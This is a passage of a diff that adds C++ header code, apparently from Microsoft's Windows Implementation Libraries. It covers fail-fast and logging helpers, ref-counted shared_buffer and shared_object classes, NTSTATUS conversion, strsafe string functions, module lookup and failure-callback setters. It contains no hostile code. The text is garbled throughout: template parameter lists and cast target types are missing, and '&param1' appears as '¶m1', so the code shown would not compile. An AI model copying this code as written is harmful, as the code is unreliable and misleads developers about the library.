{ + _Post_satisfies_(return == hr) __R_DIRECT_METHOD(HRESULT, Log_Hr)(__R_DIRECT_FN_PARAMS HRESULT hr) WI_NOEXCEPT; + _Post_satisfies_(return == hr) __R_DIRECT_METHOD(HRESULT, Log_HrMsg)(__R_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT; + _Post_satisfies_(return == err) __R_DIRECT_METHOD(DWORD, Log_Win32Msg)(__R_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT; + } + namespace __RFF_NS_NAME + { + __RFF_DIRECT_NORET_METHOD(void, FailFast_Unexpected)(__RFF_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT; + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) __RFF_CONDITIONAL_METHOD(bool, FailFast_If)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT; + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) __RFF_CONDITIONAL_METHOD(bool, FailFast_HrIf)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) WI_NOEXCEPT; + _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_) __RFF_CONDITIONAL_METHOD(bool, FailFast_IfFalse)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT; + _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_) __RFF_CONDITIONAL_METHOD(bool, FailFastImmediate_If)(bool condition) WI_NOEXCEPT; + } + + RESULT_NORETURN inline void __stdcall WilFailFast(const FailureInfo& info); + inline void LogFailure(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr, _In_opt_ PCWSTR message, + bool fWantDebugString, _Out_writes_(debugStringSizeChars) _Post_z_ PWSTR debugString, _Pre_satisfies_(debugStringSizeChars > 0) size_t debugStringSizeChars, + _Out_writes_(callContextStringSizeChars) _Post_z_ PSTR callContextString, _Pre_satisfies_(callContextStringSizeChars > 0) size_t callContextStringSizeChars, + _Out_ FailureInfo *failure) WI_NOEXCEPT; + + __declspec(noinline) inline void ReportFailure(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr, _In_opt_ PCWSTR message = nullptr, ReportFailureOptions options = ReportFailureOptions::None); + template + __declspec(noinline) inline void ReportFailure_Base(__R_FN_PARAMS_FULL, HRESULT hr, _In_opt_ PCWSTR message = nullptr, ReportFailureOptions options = ReportFailureOptions::None); + template + inline void ReportFailure_ReplaceMsg(__R_FN_PARAMS_FULL, HRESULT hr, _Printf_format_string_ PCSTR formatString, ...); + __declspec(noinline) inline void ReportFailure_Hr(__R_FN_PARAMS_FULL, FailureType type, HRESULT hr); + template + __declspec(noinline) inline void ReportFailure_Hr(__R_FN_PARAMS_FULL, HRESULT hr); + template + __declspec(noinline) inline HRESULT ReportFailure_CaughtException(__R_FN_PARAMS_FULL, SupportedExceptions supported = SupportedExceptions::Default); + + //***************************************************************************** + // Fail fast helpers (for use only internally to WIL) + //***************************************************************************** + + /// @cond + #define __FAIL_FAST_ASSERT__(condition) do { if (!(condition)) { __RFF_FN(FailFast_Unexpected)(__RFF_INFO_ONLY(#condition)); } } while ((void)0, 0) + #define __FAIL_FAST_IMMEDIATE_ASSERT__(condition) do { if (!(condition)) { wil::FailureInfo failure {}; wil::details::WilFailFast(failure); } } while ((void)0, 0) + #define __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(condition) __RFF_FN(FailFast_IfWin32BoolFalse)(__RFF_INFO(#condition) wil::verify_BOOL(condition)) + + // A simple ref-counted buffer class. The interface is very similar to shared_ptr<>, only it manages + // an allocated buffer and maintains the size. + + class shared_buffer + { + public: + shared_buffer() WI_NOEXCEPT : m_pCopy(nullptr), m_size(0) + { + } + + shared_buffer(shared_buffer const &other) WI_NOEXCEPT : m_pCopy(nullptr), m_size(0) + { + assign(other.m_pCopy, other.m_size); + } + + shared_buffer(shared_buffer &&other) WI_NOEXCEPT : + m_pCopy(other.m_pCopy), + m_size(other.m_size) + { + other.m_pCopy = nullptr; + other.m_size = 0; + } + + ~shared_buffer() WI_NOEXCEPT + { + reset(); + } + + shared_buffer& operator=(shared_buffer const &other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + assign(other.m_pCopy, other.m_size); + } + return *this; + } + + shared_buffer& operator=(shared_buffer &&other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + m_pCopy = other.m_pCopy; + m_size = other.m_size; + other.m_pCopy = nullptr; + other.m_size = 0; + } + return *this; + } + + void reset() WI_NOEXCEPT + { + if (m_pCopy != nullptr) + { + if (0 == ::InterlockedDecrementRelease(m_pCopy)) + { + WIL_FreeMemory(m_pCopy); + } + m_pCopy = nullptr; + m_size = 0; + } + } + + bool create(_In_reads_bytes_opt_(cbData) void const *pData, size_t cbData) WI_NOEXCEPT + { + if (cbData == 0) + { + reset(); + return true; + } + + long *pCopyRefCount = reinterpret_cast(WIL_AllocateMemory(sizeof(long)+cbData)); + if (pCopyRefCount == nullptr) + { + return false; + } + + *pCopyRefCount = 0; + if (pData != nullptr) + { + memcpy_s(pCopyRefCount + 1, cbData, pData, cbData); // +1 to advance past sizeof(long) counter + } + assign(pCopyRefCount, cbData); + return true; + } + + bool create(size_t cbData) WI_NOEXCEPT + { + return create(nullptr, cbData); + } + + void* get(_Out_opt_ size_t *pSize = nullptr) const WI_NOEXCEPT + { + if (pSize != nullptr) + { + *pSize = m_size; + } + return (m_pCopy == nullptr) ? nullptr : (m_pCopy + 1); + } + + size_t size() const WI_NOEXCEPT + { + return m_size; + } + + explicit operator bool() const WI_NOEXCEPT + { + return (m_pCopy != nullptr); + } + + bool unique() const WI_NOEXCEPT + { + return ((m_pCopy != nullptr) && (*m_pCopy == 1)); + } + + private: + long *m_pCopy; // pointer to allocation: refcount + data + size_t m_size; // size of the data from m_pCopy + + void assign(_In_opt_ long *pCopy, size_t cbSize) WI_NOEXCEPT + { + reset(); + if (pCopy != nullptr) + { + m_pCopy = pCopy; + m_size = cbSize; + ::InterlockedIncrementNoFence(m_pCopy); + } + } + }; + + inline shared_buffer make_shared_buffer_nothrow(_In_reads_bytes_opt_(countBytes) void *pData, size_t countBytes) WI_NOEXCEPT + { + shared_buffer buffer; + buffer.create(pData, countBytes); + return buffer; + } + + inline shared_buffer make_shared_buffer_nothrow(size_t countBytes) WI_NOEXCEPT + { + shared_buffer buffer; + buffer.create(countBytes); + return buffer; + } + + // A small mimic of the STL shared_ptr class, but unlike shared_ptr, a pointer is not attached to the class, but is + // always simply contained within (it cannot be attached or detached). + + template + class shared_object + { + public: + shared_object() WI_NOEXCEPT : m_pCopy(nullptr) + { + } + + shared_object(shared_object const &other) WI_NOEXCEPT : + m_pCopy(other.m_pCopy) + { + if (m_pCopy != nullptr) + { + ::InterlockedIncrementNoFence(&m_pCopy->m_refCount); + } + } + + shared_object(shared_object &&other) WI_NOEXCEPT : + m_pCopy(other.m_pCopy) + { + other.m_pCopy = nullptr; + } + + ~shared_object() WI_NOEXCEPT + { + reset(); + } + + shared_object& operator=(shared_object const &other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + m_pCopy = other.m_pCopy; + if (m_pCopy != nullptr) + { + ::InterlockedIncrementNoFence(&m_pCopy->m_refCount); + } + } + return *this; + } + + shared_object& operator=(shared_object &&other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + m_pCopy = other.m_pCopy; + other.m_pCopy = nullptr; + } + return *this; + } + + void reset() WI_NOEXCEPT + { + if (m_pCopy != nullptr) + { + if (0 == ::InterlockedDecrementRelease(&m_pCopy->m_refCount)) + { + delete m_pCopy; + } + m_pCopy = nullptr; + } + } + + bool create() + { + RefAndObject *pObject = new(std::nothrow) RefAndObject(); + if (pObject == nullptr) + { + return false; + } + reset(); + m_pCopy = pObject; + return true; + } + + template + bool create(param_t &¶m1) + { + RefAndObject *pObject = new(std::nothrow) RefAndObject(wistd::forward(param1)); + if (pObject == nullptr) + { + return false; + } + reset(); + m_pCopy = pObject; + return true; + } + + object_t* get() const WI_NOEXCEPT + { + return (m_pCopy == nullptr) ? nullptr : &m_pCopy->m_object; + } + + explicit operator bool() const WI_NOEXCEPT + { + return (m_pCopy != nullptr); + } + + bool unique() const WI_NOEXCEPT + { + return ((m_pCopy != nullptr) && (m_pCopy->m_refCount == 1)); + } + + object_t *operator->() const WI_NOEXCEPT + { + return get(); + } + + private: + struct RefAndObject + { + long m_refCount; + object_t m_object; + + RefAndObject() : + m_refCount(1), + m_object() + { + } + + template + RefAndObject(param_t &¶m1) : + m_refCount(1), + m_object(wistd::forward(param1)) + { + } + }; + + RefAndObject *m_pCopy; + }; + + // The following functions are basically the same, but are kept separated to: + // 1) Provide a unique count and last error code per-type + // 2) Avoid merging the types to allow easy debugging (breakpoints, conditional breakpoints based + // upon count of errors from a particular type, etc) + + __declspec(noinline) inline int RecordException(HRESULT hr) WI_NOEXCEPT + { + static HRESULT volatile s_hrErrorLast = S_OK; + static long volatile s_cErrorCount = 0; + s_hrErrorLast = hr; + return ::InterlockedIncrementNoFence(&s_cErrorCount); + } + + __declspec(noinline) inline int RecordReturn(HRESULT hr) WI_NOEXCEPT + { + static HRESULT volatile s_hrErrorLast = S_OK; + static long volatile s_cErrorCount = 0; + s_hrErrorLast = hr; + return ::InterlockedIncrementNoFence(&s_cErrorCount); + } + + __declspec(noinline) inline int RecordLog(HRESULT hr) WI_NOEXCEPT + { + static HRESULT volatile s_hrErrorLast = S_OK; + static long volatile s_cErrorCount = 0; + s_hrErrorLast = hr; + return ::InterlockedIncrementNoFence(&s_cErrorCount); + } + + __declspec(noinline) inline int RecordFailFast(HRESULT hr) WI_NOEXCEPT + { + static HRESULT volatile s_hrErrorLast = S_OK; + s_hrErrorLast = hr; + return 1; + } + + inline RESULT_NORETURN void __stdcall WilRaiseFailFastException(_In_ PEXCEPTION_RECORD er, _In_opt_ PCONTEXT cr, _In_ DWORD flags) + { + // if we managed to load the pointer either through WilDynamicRaiseFailFastException (PARTITION_DESKTOP etc.) + // or via direct linkage (e.g. UWP apps), then use it. + if (g_pfnRaiseFailFastException) + { + g_pfnRaiseFailFastException(er, cr, flags); + } + // if not, as a best effort, we are just going to call the intrinsic. + __fastfail(FAST_FAIL_FATAL_APP_EXIT); + } + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) + inline bool __stdcall GetModuleInformation(_In_opt_ void* address, _Out_opt_ unsigned int* addressOffset, _Out_writes_bytes_opt_(size) char* name, size_t size) WI_NOEXCEPT + { + HMODULE hModule = nullptr; + if (address && !GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, reinterpret_cast(address), &hModule)) + { + assign_to_opt_param(addressOffset, 0U); + return false; + } + if (addressOffset) + { + *addressOffset = address ? static_cast(static_cast(address) - reinterpret_cast(hModule)) : 0; + } + if (name) + { + char modulePath[MAX_PATH]; + if (!GetModuleFileNameA(hModule, modulePath, ARRAYSIZE(modulePath))) + { + return false; + } + + PCSTR start = modulePath + strlen(modulePath); + while ((start > modulePath) && (*(start - 1) != '\\')) + { + start--; + } + StringCchCopyA(name, size, start); + } + return true; + } + + inline PCSTR __stdcall GetCurrentModuleName() WI_NOEXCEPT + { + static char s_szModule[64] = {}; + static volatile bool s_fModuleValid = false; + if (!s_fModuleValid) // Races are acceptable + { + GetModuleInformation(reinterpret_cast(&RecordFailFast), nullptr, s_szModule, ARRAYSIZE(s_szModule)); + s_fModuleValid = true; + } + return s_szModule; + } + + inline void __stdcall DebugBreak() WI_NOEXCEPT + { + ::DebugBreak(); + } + + inline void __stdcall WilDynamicLoadRaiseFailFastException(_In_ PEXCEPTION_RECORD er, _In_ PCONTEXT cr, _In_ DWORD flags) + { + auto k32handle = GetModuleHandleW(L"kernelbase.dll"); + _Analysis_assume_(k32handle != nullptr); + auto pfnRaiseFailFastException = reinterpret_cast(GetProcAddress(k32handle, "RaiseFailFastException")); + if (pfnRaiseFailFastException) + { + pfnRaiseFailFastException(er, cr, flags); + } + } +#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) + + inline bool __stdcall GetModuleInformationFromAddress(_In_opt_ void* address, _Out_opt_ unsigned int* addressOffset, _Out_writes_bytes_opt_(size) char* buffer, size_t size) WI_NOEXCEPT + { + if (size > 0) + { + assign_to_opt_param(buffer, '\0'); + } + if (addressOffset) + { + *addressOffset = 0; + } + if (g_pfnGetModuleInformation) + { + return g_pfnGetModuleInformation(address, addressOffset, buffer, size); + } + return false; + } + + __declspec(noinline) inline HRESULT NtStatusToHr(NTSTATUS status) WI_NOEXCEPT + { + // The following conversions are the only known incorrect mappings in RtlNtStatusToDosErrorNoTeb + if (SUCCEEDED_NTSTATUS(status)) + { + // All successful status codes have only one hresult equivalent, S_OK + return S_OK; + } + if (status == static_cast(STATUS_NO_MEMORY)) + { + // RtlNtStatusToDosErrorNoTeb maps STATUS_NO_MEMORY to the less popular of two Win32 no memory error codes resulting in an unexpected mapping + return E_OUTOFMEMORY; + } + + if (g_pfnRtlNtStatusToDosErrorNoTeb != nullptr) + { + DWORD err = g_pfnRtlNtStatusToDosErrorNoTeb(status); + + // ERROR_MR_MID_NOT_FOUND indicates a bug in the originator of the error (failure to add a mapping to the Win32 error codes). + // There are known instances of this bug which are unlikely to be fixed soon, and it's always possible that additional instances + // could be added in the future. In these cases, it's better to use HRESULT_FROM_NT rather than returning a meaningless error. + if ((err != 0) && (err != ERROR_MR_MID_NOT_FOUND)) + { + return __HRESULT_FROM_WIN32(err); + } + } + + return HRESULT_FROM_NT(status); + } + + // The following set of functions all differ only based upon number of arguments. They are unified in their handling + // of data from each of the various error-handling types (fast fail, exceptions, etc.). + _Post_equals_last_error_ + inline DWORD GetLastErrorFail(__R_FN_PARAMS_FULL) WI_NOEXCEPT + { + __R_FN_UNREFERENCED; + auto err = ::GetLastError(); + if (SUCCEEDED_WIN32(err)) + { + // This function should only be called when GetLastError() is set to a FAILURE. + // If you hit this assert (or are reviewing this failure telemetry), then there are one of three issues: + // 1) Your code is using a macro (such as RETURN_IF_WIN32_BOOL_FALSE()) on a function that does not actually + // set the last error (consult MSDN). + // 2) Your macro check against the error is not immediately after the API call. Pushing it later can result + // in another API call between the previous one and the check resetting the last error. + // 3) The API you're calling has a bug in it and does not accurately set the last error (there are a few + // examples here, such as SendMessageTimeout() that don't accurately set the last error). For these, + // please send mail to 'wildisc' when found and work-around with win32errorhelpers. + + WI_USAGE_ERROR_FORWARD("CALLER BUG: Macro usage error detected. GetLastError() does not have an error."); + return ERROR_ASSERTION_FAILURE; + } + return err; + } + + _Translates_last_error_to_HRESULT_ + inline HRESULT GetLastErrorFailHr(__R_FN_PARAMS_FULL) WI_NOEXCEPT + { + return HRESULT_FROM_WIN32(GetLastErrorFail(__R_FN_CALL_FULL)); + } + + _Translates_last_error_to_HRESULT_ + inline __declspec(noinline) HRESULT GetLastErrorFailHr() WI_NOEXCEPT + { + __R_FN_LOCALS_FULL_RA; + return GetLastErrorFailHr(__R_FN_CALL_FULL); + } + + inline void PrintLoggingMessage(_Out_writes_(cchDest) _Post_z_ PWSTR pszDest, _Pre_satisfies_(cchDest > 0) size_t cchDest, _In_opt_ _Printf_format_string_ PCSTR formatString, _In_opt_ va_list argList) WI_NOEXCEPT + { + if (formatString == nullptr) + { + pszDest[0] = L'\0'; + } + else if (argList == nullptr) + { + StringCchPrintfW(pszDest, cchDest, L"%hs", formatString); + } + else + { + wchar_t szFormatWide[2048]; + StringCchPrintfW(szFormatWide, ARRAYSIZE(szFormatWide), L"%hs", formatString); + StringCchVPrintfW(pszDest, cchDest, szFormatWide, argList); + } + } + +#pragma warning(push) +#pragma warning(disable:__WARNING_RETURNING_BAD_RESULT) + // NOTE: The following two functions are unfortunate copies of strsafe.h functions that have been copied to reduce the friction associated with using + // Result.h and ResultException.h in a build that does not have WINAPI_PARTITION_DESKTOP defined (where these are conditionally enabled). + + static STRSAFEAPI WilStringLengthWorkerA(_In_reads_or_z_(cchMax) STRSAFE_PCNZCH psz, _In_ _In_range_(<= , STRSAFE_MAX_CCH) size_t cchMax, _Out_opt_ _Deref_out_range_(< , cchMax) _Deref_out_range_(<= , _String_length_(psz)) size_t* pcchLength) + { + HRESULT hr = S_OK; + size_t cchOriginalMax = cchMax; + while (cchMax && (*psz != '\0')) + { + psz++; + cchMax--; + } + if (cchMax == 0) + { + // the string is longer than cchMax + hr = STRSAFE_E_INVALID_PARAMETER; + } + if (pcchLength) + { + if (SUCCEEDED(hr)) + { + *pcchLength = cchOriginalMax - cchMax; + } + else + { + *pcchLength = 0; + } + } + return hr; + } + + _Must_inspect_result_ STRSAFEAPI StringCchLengthA(_In_reads_or_z_(cchMax) STRSAFE_PCNZCH psz, _In_ _In_range_(1, STRSAFE_MAX_CCH) size_t cchMax, _Out_opt_ _Deref_out_range_(<, cchMax) _Deref_out_range_(<= , _String_length_(psz)) size_t* pcchLength) + { + HRESULT hr; + if ((psz == NULL) || (cchMax > STRSAFE_MAX_CCH)) + { + hr = STRSAFE_E_INVALID_PARAMETER; + } + else + { + hr = WilStringLengthWorkerA(psz, cchMax, pcchLength); + } + if (FAILED(hr) && pcchLength) + { + *pcchLength = 0; + } + return hr; + } +#pragma warning(pop) + + _Post_satisfies_(cchDest > 0 && cchDest <= cchMax) static STRSAFEAPI WilStringValidateDestA(_In_reads_opt_(cchDest) STRSAFE_PCNZCH /*pszDest*/, _In_ size_t cchDest, _In_ const size_t cchMax) + { + HRESULT hr = S_OK; + if ((cchDest == 0) || (cchDest > cchMax)) + { + hr = STRSAFE_E_INVALID_PARAMETER; + } + return hr; + } + + static STRSAFEAPI WilStringVPrintfWorkerA(_Out_writes_(cchDest) _Always_(_Post_z_) STRSAFE_LPSTR pszDest, _In_ _In_range_(1, STRSAFE_MAX_CCH) size_t cchDest, _Always_(_Out_opt_ _Deref_out_range_(<=, cchDest - 1)) size_t* pcchNewDestLength, _In_ _Printf_format_string_ STRSAFE_LPCSTR pszFormat, _In_ va_list argList) + { + HRESULT hr = S_OK; + int iRet; + size_t cchMax; + size_t cchNewDestLength = 0; + + // leave the last space for the null terminator + cchMax = cchDest - 1; +#undef STRSAFE_USE_SECURE_CRT +#define STRSAFE_USE_SECURE_CRT 1 + #if (STRSAFE_USE_SECURE_CRT == 1) && !defined(STRSAFE_LIB_IMPL) + iRet = _vsnprintf_s(pszDest, cchDest, cchMax, pszFormat, argList); + #else + #pragma warning(push) + #pragma warning(disable: __WARNING_BANNED_API_USAGE)// "STRSAFE not included" + iRet = _vsnprintf(pszDest, cchMax, pszFormat, argList); + #pragma warning(pop) + #endif + // ASSERT((iRet < 0) || (((size_t)iRet) <= cchMax)); + + if ((iRet < 0) || (((size_t)iRet) > cchMax)) + { + // need to null terminate the string + pszDest += cchMax; + *pszDest = '\0'; + + cchNewDestLength = cchMax; + + // we have truncated pszDest + hr = STRSAFE_E_INSUFFICIENT_BUFFER; + } + else if (((size_t)iRet) == cchMax) + { + // need to null terminate the string + pszDest += cchMax; + *pszDest = '\0'; + + cchNewDestLength = cchMax; + } + else + { + cchNewDestLength = (size_t)iRet; + } + + if (pcchNewDestLength) + { + *pcchNewDestLength = cchNewDestLength; + } + + return hr; + } + + __inline HRESULT StringCchPrintfA( _Out_writes_(cchDest) _Always_(_Post_z_) STRSAFE_LPSTR pszDest, _In_ size_t cchDest, _In_ _Printf_format_string_ STRSAFE_LPCSTR pszFormat, ...) + { + HRESULT hr; + hr = wil::details::WilStringValidateDestA(pszDest, cchDest, STRSAFE_MAX_CCH); + if (SUCCEEDED(hr)) + { + va_list argList; + va_start(argList, pszFormat); + hr = wil::details::WilStringVPrintfWorkerA(pszDest, cchDest, NULL, pszFormat, argList); + va_end(argList); + } + else if (cchDest > 0) + { + *pszDest = '\0'; + } + return hr; + } + + _Ret_range_(sizeof(char), (psz == nullptr) ? sizeof(char) : (_String_length_(psz) + sizeof(char))) + inline size_t ResultStringSize(_In_opt_ PCSTR psz) + { return (psz == nullptr) ? sizeof(char) : (strlen(psz) + sizeof(char)); } + + _Ret_range_(sizeof(wchar_t), (psz == nullptr) ? sizeof(wchar_t) : ((_String_length_(psz) + 1) * sizeof(wchar_t))) + inline size_t ResultStringSize(_In_opt_ PCWSTR psz) + { return (psz == nullptr) ? sizeof(wchar_t) : (wcslen(psz) + 1) * sizeof(wchar_t); } + + template + _Ret_range_(pStart, pEnd) inline unsigned char* WriteResultString( + _Pre_satisfies_(pStart <= pEnd) + _When_((pStart == pEnd) || (pszString == nullptr) || (pszString[0] == 0), _In_opt_) + _When_((pStart != pEnd) && (pszString != nullptr) && (pszString[0] != 0), _Out_writes_bytes_opt_(_String_length_(pszString) * sizeof(pszString[0]))) + unsigned char* pStart, _Pre_satisfies_(pEnd >= pStart) unsigned char* pEnd, _In_opt_z_ TString pszString, _Outptr_result_maybenull_z_ TString* ppszBufferString) + { + // No space? Null string? Do nothing. + if ((pStart == pEnd) || !pszString || !*pszString) + { + assign_null_to_opt_param(ppszBufferString); + return pStart; + } + + // Treats the range pStart--pEnd as a memory buffer into which pszString is copied. A pointer to + // the start of the copied string is placed into ppszStringBuffer. If the buffer isn't big enough, + // do nothing, and tell the caller nothing was written. + size_t const stringSize = ResultStringSize(pszString); + size_t const bufferSize = pEnd - pStart; + if (bufferSize < stringSize) + { + assign_null_to_opt_param(ppszBufferString); + return pStart; + } + + memcpy_s(pStart, bufferSize, pszString, stringSize); + assign_to_opt_param(ppszBufferString, reinterpret_cast(pStart)); + return pStart + stringSize; + } + + _Ret_range_(0, (cchMax > 0) ? cchMax - 1 : 0) inline size_t UntrustedStringLength(_In_ PCSTR psz, _In_ size_t cchMax) { size_t cbLength; return SUCCEEDED(wil::details::StringCchLengthA(psz, cchMax, &cbLength)) ? cbLength : 0; } + _Ret_range_(0, (cchMax > 0) ? cchMax - 1 : 0) inline size_t UntrustedStringLength(_In_ PCWSTR psz, _In_ size_t cchMax) { size_t cbLength; return SUCCEEDED(::StringCchLengthW(psz, cchMax, &cbLength)) ? cbLength : 0; } + + template + _Ret_range_(pStart, pEnd) inline unsigned char *GetResultString(_In_reads_to_ptr_opt_(pEnd) unsigned char *pStart, _Pre_satisfies_(pEnd >= pStart) unsigned char *pEnd, _Out_ TString *ppszBufferString) + { + size_t cchLen = UntrustedStringLength(reinterpret_cast(pStart), (pEnd - pStart) / sizeof((*ppszBufferString)[0])); + *ppszBufferString = (cchLen > 0) ? reinterpret_cast(pStart) : nullptr; + auto pReturn = min(pEnd, pStart + ((cchLen + 1) * sizeof((*ppszBufferString)[0]))); + __analysis_assume((pReturn >= pStart) && (pReturn <= pEnd)); + return pReturn; + } + } // details namespace + /// @endcond + + //***************************************************************************** + // WIL result handling initializers + // + // Generally, callers do not need to manually initialize WIL. This header creates + // the appropriate .CRT init section pieces through global objects to ensure that + // WilInitialize... is called before DllMain or main(). + // + // Certain binaries do not link with the CRT or do not support .CRT-section based + // initializers. Those binaries must link only with other static libraries that + // also set RESULT_SUPPRESS_STATIC_INITIALIZERS to ensure no .CRT inits are left, + // and they should call one of the WilInitialize_ResultMacros_??? methods during + // their initialization phase. Skipping this initialization path is OK as well, + // but results in a slightly degraded experience with result reporting. + // + // Calling WilInitialize_ResultMacros_DesktopOrSystem_SuppressPrivateApiUse provides: + // - The name of the current module in wil::FailureInfo::pszModule + // - The name of the returning-to module during wil\staging.h failures + //***************************************************************************** + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) + //! Call this method to initialize WIL manually in a module where RESULT_SUPPRESS_STATIC_INITIALIZERS is required. WIL will + //! only use publicly documented APIs. + inline void WilInitialize_ResultMacros_DesktopOrSystem_SuppressPrivateApiUse() + { + details::g_pfnGetModuleName = details::GetCurrentModuleName; + details::g_pfnGetModuleInformation = details::GetModuleInformation; + details::g_pfnDebugBreak = details::DebugBreak; + details::g_pfnRaiseFailFastException = wil::details::WilDynamicLoadRaiseFailFastException; + } + + /// @cond + namespace details + { +#ifndef RESULT_SUPPRESS_STATIC_INITIALIZERS +#if !defined(BUILD_WINDOWS) || defined(WIL_SUPPRESS_PRIVATE_API_USE) + WI_HEADER_INITITALIZATION_FUNCTION(WilInitialize_ResultMacros_DesktopOrSystem_SuppressPrivateApiUse, [] + { + ::wil::WilInitialize_ResultMacros_DesktopOrSystem_SuppressPrivateApiUse(); + return 1; + }); +#endif +#endif + } + /// @endcond +#else // !WINAPI_PARTITION_DESKTOP, !WINAPI_PARTITION_SYSTEM, explicitly assume these modules can direct link + namespace details + { + WI_HEADER_INITITALIZATION_FUNCTION(WilInitialize_ResultMacros_AppOnly, [] + { + g_pfnRaiseFailFastException = ::RaiseFailFastException; + return 1; + }); + } +#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) + + //***************************************************************************** + // Public Error Handling Helpers + //***************************************************************************** + + //! Call this method to determine if process shutdown is in progress (allows avoiding work during dll unload). + inline bool ProcessShutdownInProgress() + { + return (details::g_processShutdownInProgress || (details::g_pfnDllShutdownInProgress ? details::g_pfnDllShutdownInProgress() : false)); + } + + /** Use this object to wrap an object that wants to prevent its destructor from being run when the process is shutting down, + but the hosting DLL doesn't support CRT initializers (such as kernelbase.dll). The hosting DLL is responsible for calling + Construct() and Destroy() to manually run the constructor and destructor during DLL load & unload. + Upon process shutdown a method (ProcessShutdown()) is called that must be implemented on the object, otherwise the destructor is + called as is typical. */ + template + class manually_managed_shutdown_aware_object + { + public: + void construct() + { + void* var = &m_raw; + ::new(var) T(); + } + + void destroy() + { + if (ProcessShutdownInProgress()) + { + get().ProcessShutdown(); + } + else + { + (&get())->~T(); + } + } + + //! Retrieves a reference to the contained object + T& get() WI_NOEXCEPT + { + return *reinterpret_cast(&m_raw); + } + + private: + alignas(T) unsigned char m_raw[sizeof(T)]; + }; + + /** Use this object to wrap an object that wants to prevent its destructor from being run when the process is shutting down. + Upon process shutdown a method (ProcessShutdown()) is called that must be implemented on the object, otherwise the destructor is + called as is typical. */ + template + class shutdown_aware_object + { + public: + shutdown_aware_object() + { + m_object.construct(); + } + + ~shutdown_aware_object() + { + m_object.destroy(); + } + + //! Retrieves a reference to the contained object + T& get() WI_NOEXCEPT + { + return m_object.get(); + } + + private: + manually_managed_shutdown_aware_object m_object; + }; + + /** Use this object to wrap an object that wants to prevent its destructor from being run when the process is shutting down. */ + template + class object_without_destructor_on_shutdown + { + public: + object_without_destructor_on_shutdown() + { + void* var = &m_raw; + ::new(var) T(); + } + + ~object_without_destructor_on_shutdown() + { + if (!ProcessShutdownInProgress()) + { + get().~T(); + } + } + + //! Retrieves a reference to the contained object + T& get() WI_NOEXCEPT + { + return *reinterpret_cast(&m_raw); + } + + private: + alignas(T) unsigned char m_raw[sizeof(T)]{}; + }; + + /** Forward your DLLMain to this function so that WIL can have visibility into whether a DLL unload is because + of termination or normal unload. Note that when g_pfnDllShutdownInProgress is set, WIL attempts to make this + determination on its own without this callback. Suppressing private APIs requires use of this. */ + inline void DLLMain(HINSTANCE, DWORD reason, _In_opt_ LPVOID reserved) + { + if (!details::g_processShutdownInProgress) + { + if ((reason == DLL_PROCESS_DETACH) && (reserved != nullptr)) + { + details::g_processShutdownInProgress = true; + } + } + } + + // [optionally] Plug in fallback telemetry reporting + // Normally, the callback is owned by including ResultLogging.h in the including module. Alternatively a module + // could re-route fallback telemetry to any ONE specific provider by calling this method. + inline void SetResultTelemetryFallback(_In_opt_ decltype(details::g_pfnTelemetryCallback) callbackFunction) + { + // Only ONE telemetry provider can own the fallback telemetry callback. + __FAIL_FAST_IMMEDIATE_ASSERT__((details::g_pfnTelemetryCallback == nullptr) || (callbackFunction == nullptr) || (details::g_pfnTelemetryCallback == callbackFunction)); + details::g_pfnTelemetryCallback = callbackFunction; + } + + // [optionally] Plug in result logging (do not use for telemetry) + // This provides the ability for a module to hook all failures flowing through the system for inspection + // and/or logging. + inline void SetResultLoggingCallback(_In_opt_ decltype(details::g_pfnLoggingCallback) callbackFunction) + { + // Only ONE function can own the result logging callback + __FAIL_FAST_IMMEDIATE_ASSERT__((details::g_pfnLoggingCallback == nullptr) || (callbackFunction == nullptr) || (details::g_pfnLoggingCallback == callbackFunction)); + details::g_pfnLoggingCallback = callbackFunction; + } + + // [optionally] Plug in custom result messages + // There are some purposes that require translating the full information that is known about a failure + // into a message to be logged (either through the console for debugging OR as the message attached + // to a Platform::Exception^). This callback allows a module to format the string itself away from the + // default. + inline void SetResultMessageCallback(_In_opt_ decltype(wil::g_pfnResultLoggingCallback) callbackFunction) + { + // Only ONE function can own the result message callback + __FAIL_FAST_IMMEDIATE_ASSERT__((g_pfnResultLoggingCallback == nullptr) || (callbackFunction == nullptr) || (g_pfnResultLoggingCallback == callbackFunction)); + details::g_resultMessageCallbackSet = true; + g_pfnResultLoggingCallback = callbackFunction; + } + + // [optionally] Plug in exception remapping + // A module can plug a callback in using this function to setup custom exception handling to allow any + // exception type to be converted into an HRESULT from exception barriers. + inline void SetResultFromCaughtExceptionCallback(_In_opt_ decltype(wil::g_pfnResultFromCaughtException) callbackFunction) + { + // Only ONE function can own the exception conversion + __FAIL_FAST_IMMEDIATE_ASSERT__((g_pfnResultFromCaughtException == nullptr) || (callbackFunction == nullptr) || (g_pfnResultFromCaughtException == callbackFunction)); + g_pfnResultFromCaughtException = callbackFunction; + } + + // [optionally] Plug in exception remapping + // This provides the ability for a module to call 